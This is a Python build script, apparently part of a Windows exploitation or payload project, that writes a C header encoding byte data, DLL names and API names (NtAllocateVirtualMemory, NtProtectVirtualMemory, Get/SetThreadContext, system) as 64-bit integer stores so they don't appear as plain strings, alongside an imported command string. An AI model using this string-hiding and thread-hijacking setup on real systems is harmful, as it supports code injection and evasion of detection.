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| import subprocess
from collections.abc import Sequence
from pathlib import Path
from tempfile import TemporaryDirectory
from pwn import context
from builtin_command import command_s
context.update(os="windows", arch="amd64", bits=64)
class AsmSource:
def __init__(self, source: str):
self.source = source
class Definitions:
def __init__(self):
self._entries = {}
self._order = []
def __setattr__(self, name, value):
if name.startswith("_"):
super().__setattr__(name, value)
else:
self._entries[name] = value
if name not in self._order:
self._order.append(name)
def items(self):
for name in self._order:
yield name, self._entries[name]
def assemble_code(source: str) -> list[int]:
asm_source = "\n".join(
[
".intel_syntax noprefix",
".text",
".globl asm_entry",
"asm_entry:",
source,
"",
]
)
with TemporaryDirectory() as temp_dir:
temp_path = Path(temp_dir)
asm_path = temp_path / "snippet.s"
obj_path = temp_path / "snippet.obj"
bin_path = temp_path / "snippet.bin"
asm_path.write_text(asm_source, encoding="ascii")
subprocess.run(
[
"clang",
"-c",
"-target",
"x86_64-pc-windows-msvc",
str(asm_path),
"-o",
str(obj_path),
],
check=True,
capture_output=True,
text=True,
)
subprocess.run(
[
"llvm-objcopy",
f"--dump-section=.text={bin_path}",
str(obj_path),
],
check=True,
capture_output=True,
text=True,
)
return list(bin_path.read_bytes())
defs = Definitions()
defs.byte_data = [
0x18, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5C, 0x60, 0xD6, 0x45, 0x6D, 0xC7, 0xF3, 0xF1,
0x3D, 0x6D, 0xFE, 0xFC, 0xBD, 0xFE, 0x91, 0x92,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x38, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
0x18, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5A, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x28, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x10, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
]
defs.pe_header = "is program"
defs.ntdll_s = "ntdll.dll"
defs.kernelbase_s = "KERNELBASE.dll"
defs.ucrtbase_s = "ucrtbase.dll"
defs.NtAllocateVirtualMemory_s = "NtAllocateVirtualMemory"
defs.NtProtectVirtualMemory_s = "NtProtectVirtualMemory"
defs.NtQueryObject_s = "NtQueryObject"
defs.SuspendThread_s = "SuspendThread"
defs.ResumeThread_s = "ResumeThread"
defs.GetThreadContext_s = "GetThreadContext"
defs.SetThreadContext_s = "SetThreadContext"
defs.system_s = "system"
defs.command_s = command_s
def normalize_var_value(var_value: Sequence[int] | str | AsmSource) -> list[int]:
if isinstance(var_value, AsmSource):
return assemble_code(var_value.source)
if isinstance(var_value, str):
return [ord(ch) for ch in var_value] + [0]
return [int(value) & 0xFF for value in var_value]
def define_var(var_name: str, var_value: Sequence[int] | str | AsmSource) -> list[str]:
values = normalize_var_value(var_value)
lines = [
f"// {var_name} length as uint8_t[]: {len(values)}",
"static MINISIZE void",
f"init_{var_name} (uint8_t *{var_name})",
"{",
f" uint64_t *{var_name}_u64 = (uint64_t *){var_name};",
]
full_chunks = len(values) // 8
for chunk_idx in range(full_chunks):
offset = chunk_idx * 8
chunk = values[offset : offset + 8]
chunk_value = 0
for byte_idx, value in enumerate(chunk):
chunk_value |= value << (byte_idx * 8)
lines.append(f" {var_name}_u64[{chunk_idx}] = 0x{chunk_value:016X}ULL;")
for idx in range(full_chunks * 8, len(values)):
lines.append(f" {var_name}[{idx}] = 0x{values[idx]:02X};")
lines.extend(
[
"}",
]
)
return lines
def render_header(definitions: Definitions) -> str:
lines = [
"#ifndef ARRAYS_H",
"#define ARRAYS_H",
"",
"#include <stdint.h>",
"",
]
for idx, (var_name, var_value) in enumerate(definitions.items()):
if idx:
lines.append("")
lines.extend(define_var(var_name, var_value))
lines.extend(
[
"",
"#endif",
"",
]
)
return "\n".join(lines)
def main() -> None:
out_path = Path(__file__).with_name("arrays.h")
out_path.write_text(
render_header(defs),
encoding="ascii",
)
if __name__ == "__main__":
main()
|